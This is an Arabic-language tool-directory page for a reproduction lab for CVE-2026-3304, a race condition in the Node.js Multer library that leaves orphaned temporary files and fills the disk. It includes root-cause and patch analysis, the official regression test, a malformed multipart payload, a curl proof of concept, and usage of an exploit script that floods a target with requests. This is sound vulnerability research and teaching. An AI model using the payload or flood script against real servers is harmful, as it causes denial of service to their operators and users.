Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-3304 — # مختبر إعادة إنتاج لـ CVE-2026-3304، حالة سباق في async fileFilter في Multer تسبب استنزاف القرص عبر ملفات مؤقتة يتيمة. يتضمن خوادم Docker ضعيفة ومصححة، ونصوص استغلال، وتحليل السبب الجذري. | Kitploit
أدوات/GitHubGitHub/mkway/cve-2026-3304
تحليل الثغرات الأمنيةالاستغلالأمن الويبالتعلم والتعليممختبرات وتدريب عملي
GitHubmkway/cve-2026-3304

CVE-2026-3304

# مختبر إعادة إنتاج لـ CVE-2026-3304، حالة سباق في async fileFilter في Multer تسبب استنزاف القرص عبر ملفات مؤقتة يتيمة. يتضمن خوادم Docker ضعيفة ومصححة، ونصوص استغلال، وتحليل السبب الجذري.

عرض المستودع
منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

بيئة مختبر CVE-2026-3304

لأغراض تعليمية وبحثية فقط. مهاجمة الأنظمة دون إذن أمر غير قانوني.

تم بناء بيئة المختبر هذه من خلال تحليل تصحيح Multer 2.1.0 وكود الاختبار الرسمي الخاص به. الخادم القابل للاستغلال يحاكي الشروط الدقيقة الموضحة في اختبار التصحيح، والخادم المُصحح يعمل بإصدار Multer 2.1.0 للتأكد من أن الإصلاح يعمل.

نظرة عامة على الثغرة

الحقلالتفاصيل
CVECVE-2026-3304
الهدفMulter < 2.1.0 (وسيط multipart/form-data الخاص بـ Node.js)
النوعDoS — ملف يتيم (تنظيف غير مكتمل للملفات المؤقتة)
CWECWE-459: تنظيف غير مكتمل
CVSS 4.08.7 عالية
الإصدار المُصححMulter 2.1.0

طلب multipart مشوّه مع سمة name مفقودة على جزء ملف يتسبب في قيام Multer بإنشاء ملف مؤقت على القرص دون تنظيفه أبدًا. الطلبات المتكررة تستنزف مساحة القرص، مما يؤدي إلى رفض الخدمة (DoS).


تحليل السبب الجذري

تنبع الثغرة من تدفق معالجة استدعاء fileFilter داخل multer/lib/make-middleware.js.

المشكلة الأساسية: توقيت setImmediate + فحص errorOccured المفقود

عندما يقوم Multer ببث وتحليل طلب multipart جزءًا بجزء، يحدث التسلسل التالي:

root@kitploit:~
[تسلسل أحداث التحليل — الإصدار القابل للاستغلال]

1. استلام ترويسة الجزء 1
   → استدعاء fileFilter(req, file, cb)
   → setImmediate(cb) → تأجيل الاستدعاء إلى دورة الحدث التالية

2. استلام جسم الجزء 1
   → فتح /tmp/uploads/<uuid>، وبدء كتابة البيانات

3. استلام ترويسة الجزء 2 (سمة name مفقودة)
   → يكتشف Multer 'name missing'
   → errorOccured = true  ← تعيين علامة الخطأ
   → استدعاء abortWithCode('LIMIT_FIELD_KEY') → جدولة HTTP 500

4. تنفيذ استدعاء setImmediate (دورة الحدث التالية)
   → نتيجة fileFilter: includeFile = true (التدفق الطبيعي)
   → [خطأ] لا يتم فحص علامة errorOccured
   → استدعاء storage._handleFile() → الالتزام بالملف المؤقت على القرص

5. إرسال استجابة HTTP 500
   → يبقى الملف المؤقت على القرص (ملف يتيم)

الكود القابل للاستغلال (make-middleware.js — Multer < 2.1.0)

root@kitploit:~
// استدعاء إكمال fileFilter (مؤجل عبر setImmediate)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  // ❌ لا يتم فحص errorOccured هنا أبدًا
  //    حتى لو تم تعيين خطأ أثناء تحليل الجزء 2، يستمر التنفيذ
  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    // يتم تسجيل الملف المؤقت في uploadedFiles ويُترك على القرص
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

لماذا يعتبر setImmediate هو المشكلة؟

تغليف fileFilter بـ setImmediate يؤجل استدعاءه إلى دورة الحدث التالية. في هذه النافذة، يستمر busboy (محلل multipart) في تحليل ترويسات الجزء التالي، ويكتشف name المفقود، ويعيّن errorOccured = true. عندما يستأنف الاستدعاء، تكون حالة الخطأ قد تم تعيينها بالفعل — لكن الكود لا يفحصها أبدًا، لذلك يتم استدعاء storage._handleFile دون قيد أو شرط ويتم كتابة الملف المؤقت على القرص.


تحليل كود التصحيح (Multer 2.1.0)

التزام الإصلاح: 739919097d

تمت إضافة حارس if (errorOccured) واحد مباشرة بعد دخول استدعاء fileFilter، قبل الوصول إلى storage._handleFile.

root@kitploit:~
// استدعاء إكمال fileFilter (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  // ✅ [التصحيح] فحص errorOccured قبل المتابعة
  if (errorOccured) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()   // تصريف التدفق — لا يتم كتابة ملف على القرص
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

ملخص التغييرات

العنصرقابل للاستغلال (< 2.1.0)مُصحح (2.1.0)
فحص errorOccured❌ غير مُفحص✅ يُفحص فورًا عند دخول الاستدعاء
استدعاء _handleFile عند الخطأنعممحظور
تنظيف الملف المؤقت❌ مفقود✅ عبر fileStream.resume()
الملفات اليتيمة لكل طلب10

لماذا يقوم fileStream.resume() بالتنظيف: استدعاء fileStream.resume() يصرف ويتجاهل التدفق دون تمريره إلى DiskStorage، لذلك لا يتم كتابة أي ملف ولا يبقى شيء على القرص.


كود اختبار التصحيح الرسمي

قام فريق Multer بتضمين اختبار Mocha التالي في تصحيح 2.1.0 للتحقق من الإصلاح. أصبح هذا الاختبار المخطط الأساسي لبيئة المختبر هذه — الخادم القابل للاستغلال يحاكي الإعداد الدقيق الموضح هنا (setImmediate fileFilter + طلب multipart مشوّه)، ويتم التحقق من السلوك المتوقع مقابل كل من الإصدارين القابل للاستغلال والمُصحح.

root@kitploit:~
/* eslint-env mocha */

var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')

var express = require('express')
var multer = require('../')

describe('async fileFilter cleanup', function () {
  it('does not leave orphan files when request aborts with missing field name', function (done) {
    var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
    var app = express()

    // Vulnerability trigger: async fileFilter via setImmediate
    var upload = multer({
      dest: uploadDir,
      fileFilter: function (req, file, cb) {
        setImmediate(function () { cb(null, true) })
      }
    })

    app.post('/upload', upload.any(), function (req, res) {
      res.json({ success: true })
    })

    // Error handler: respond with 400
    app.use(function (err, req, res, next) {
      res.status(400).json({ error: err.code })
    })

    var server = app.listen(0, function () {
      var port = server.address().port
      var boundary = 'TestBound'

      // Malicious body: Part 1 valid, Part 2 missing name attribute
      var body =
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; filename="b.bin"\r\n' +   // ← name= missing
        'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
        '--' + boundary + '--\r\n'

      var req = http.request({
        hostname: 'localhost',
        port: port,
        path: '/upload',
        method: 'POST',
        headers: {
          'Content-Type': 'multipart/form-data; boundary=' + boundary,
          'Content-Length': Buffer.byteLength(body)
        }
      }, function (res) {
        res.resume()
        res.on('end', function () {
          setTimeout(function () {
            var files = fs.readdirSync(uploadDir)

            // Assert 1: server must respond with 400 (error)
            assert.strictEqual(res.statusCode, 400)

            // Assert 2: no orphaned files must remain on disk
            assert.strictEqual(files.length, 0)

            server.close(done)
          }, 500)
        })
      })

      req.write(body)
      req.end()
    })
  })
})
التأكيدالمعنى
res.statusCode === 400يرفض Multer الطلب المشوّه بشكل صحيح
files.length === 0لا توجد ملفات يتيمة متبقية على القرص (تم التحقق من التصحيح)

على إصدار قابل للاستغلال (< 2.1.0)، تكون قيمة files.length مساوية لـ 1 ويفشل التأكيد.


تنفيذ المختبر

يعكس هذا المختبر مباشرة إعداد اختبار التصحيح أعلاه.

الخادم القابل للاستغلال (Dockerfile + app/server.js) يعمل بإصدار Multer 2.0.2 مع fileFilter غير متزامن باستخدام setImmediate — شرط التشغيل الدقيق من اختبار التصحيح:

root@kitploit:~
// app/server.js — يحاكي شرط تشغيل الثغرة من اختبار التصحيح
const upload = multer({
  dest: UPLOAD_DIR,
  fileFilter: function (req, file, cb) {
    setImmediate(function () {   // ← يؤجل الاستدعاء، مما يخلق حالة السباق
      cb(null, true)
    })
  }
})

الخادم المُصحح (Dockerfile.patched) يعمل بنفس server.js لكنه يثبّت Multer 2.1.0، حيث يكون حارس errorOccured في مكانه — مطابقًا للحالة المتوقعة الناجحة لاختبار التصحيح.

الخادمالمنفذMulterالسلوك المتوقع
قابل للاستغلال30002.0.2إنشاء ملف يتيم لكل طلب مشوّه
مُصحح30012.1.0لا ملفات يتيمة — التنظيف يعمل بشكل صحيح

ملاحظة: تحويل fileFilter إلى متزامن (إزالة setImmediate) يمنع الملفات اليتيمة حتى على Multer < 2.1.0. تتطلب الثغرة كلا الشرطين: fileFilter غير متزامن و فحص errorOccured المفقود.


الهجوم: طلب POST مشوّه

يرسل الهجوم طلب multipart/form-data POST حيث يفتقد الجزء الثاني سمة name المطلوبة.

الطلب العادي (آمن)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream

<binary data>
------Boundary--

الطلب الخبيث (يُطلق CVE-2026-3304)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin"   ← الجزء 1: صالح، يتم إنشاء ملف مؤقت هنا
Content-Type: application/octet-stream

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin"            ← الجزء 2: name= مفقودة!
Content-Type: application/octet-stream

x
------Boundary--

التنفيذ على جانب الخادم:

root@kitploit:~
1. وصول الجزء 1  →  يفتح Multer /tmp/uploads/<uuid> ويبدأ الكتابة
2. استدعاء fileFilter مع setImmediate  →  تأجيل الاستدعاء
3. وصول الجزء 2  →  يكتشف Multer اسمًا مفقودًا  →  errorOccured = true
4. تنفيذ setImmediate  →  يعمل استدعاء fileFilter
5. [خطأ] عدم فحص errorOccured  →  استدعاء storage._handleFile
6. كتابة الملف المؤقت على القرص
7. إرجاع HTTP 500
8. يبقى /tmp/uploads/<uuid> على القرص إلى الأبد  ← ملف يتيم

استجابة الخادم:

root@kitploit:~
HTTP/1.1 500 Internal Server Error

MulterError: Field name missing
    at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)

إثبات المفهوم باستخدام curl

root@kitploit:~
curl -s -X POST http://localhost:3000/upload \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'

تحقق من الملفات اليتيمة فورًا بعد ذلك:

root@kitploit:~
curl http://localhost:3000/status

الإعداد

المتطلبات

  • Docker, Docker Compose
  • Python 3 + requests (pip install requests)

البدء

root@kitploit:~
# تشغيل الخادم القابل للاستغلال (المنفذ 3000) + الخادم المُصحح (المنفذ 3001)
docker compose up -d --build

# التحقق من تشغيل كليهما
curl http://localhost:3000/status
curl http://localhost:3001/status

الاستخدام

الخطوة 1 — طلب مشوّه واحد (اختبار سريع)

root@kitploit:~
bash exploit/curl_poc.sh

الخطوة 2 — استغلال DoS

root@kitploit:~
# الافتراضي (50 طلبًا)
python3 exploit/exploit.py

# هجوم ثقيل (500 طلب، حمولة 5 كيلوبايت لكل منها)
python3 exploit/exploit.py --count 500 --size 5120

# ضد هدف HTTPS بشهادة موقعة ذاتيًا
python3 exploit/exploit.py --target https://target.example.com --no-verify

# المقارنة مع الإصدار المُصحح
python3 exploit/exploit.py --target http://localhost:3001 --count 50

الخطوة 3 — المراقبة في الوقت الفعلي (طرفية منفصلة)

root@kitploit:~
bash exploit/monitor.sh

الخطوة 4 — إعادة تعيين دليل الرفع

root@kitploit:~
curl -X DELETE http://localhost:3000/reset

النتائج المتوقعة

الهدفالنتيجة
الخادم القابل للاستغلال (3000)إنشاء ملف يتيم لكل طلب، نمو القرص باستمرار
الخادم المُصحح (3001)0 ملفات يتيمة بغض النظر عن عدد الطلبات

نتائج الاختبار المُتحقق منها

مخرجات الاستغلال (الخادم القابل للاستغلال، 50 طلبًا × 2 كيلوبايت)

root@kitploit:~
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50  |  Delay: 0.0s  |  Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0

[  10/50] 500 response: True | orphaned files: 10  | disk: 20.00 KB
[  20/50] 500 response: True | orphaned files: 20  | disk: 40.00 KB
[  30/50] 500 response: True | orphaned files: 30  | disk: 60.00 KB
[  40/50] 500 response: True | orphaned files: 40  | disk: 80.00 KB
[  50/50] 500 response: True | orphaned files: 50  | disk: 100.00 KB

============================================================
[Result] Total requests: 50  |  Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted:    100.00 KB

[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)

استخدام القرص الفعلي المُتحقق منه داخل الحاوية

root@kitploit:~
$ docker exec cve-2026-3304-target df -h /tmp/uploads

Before attack:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   0     50.0M      0%    /tmp/uploads

After 200 requests × 5 KB:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   1.6M  48.4M      3%    /tmp/uploads

$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M    /tmp/uploads

$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200

يبقى كل ملف يتيم على القرص بشكل دائم حتى تتم إعادة تشغيل الخادم أو تنظيفه يدويًا. نظام ملفات tmpfs الخاص بالحاوية محدود بـ 50 ميجابايت — الوصول إلى الحد يتسبب في فشل الخادم في عمليات الرفع الجديدة تمامًا.

تشغيلان دون إعادة تعيين — تراكم الملفات

root@kitploit:~
Run 1:  orphaned files   0  ->  50   (100 KB)
Run 2:  orphaned files  50  -> 100   (200 KB)
        ↑ files from run 1 still present — never cleaned up

الخادم المُصحح (Multer 2.1.0) — نفس الهجوم، تأثير صفري

root@kitploit:~
[  10/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  20/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  30/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  40/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  50/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB

[*] No orphaned files — patched version cleans up correctly

الإيقاف

root@kitploit:~
docker compose down

المراجع

  • GitHub Advisory GHSA-xf7r-hgr6-v32p
  • Fix commit 739919097d
  • NVD CVE-2026-3304
تنزيل الأداة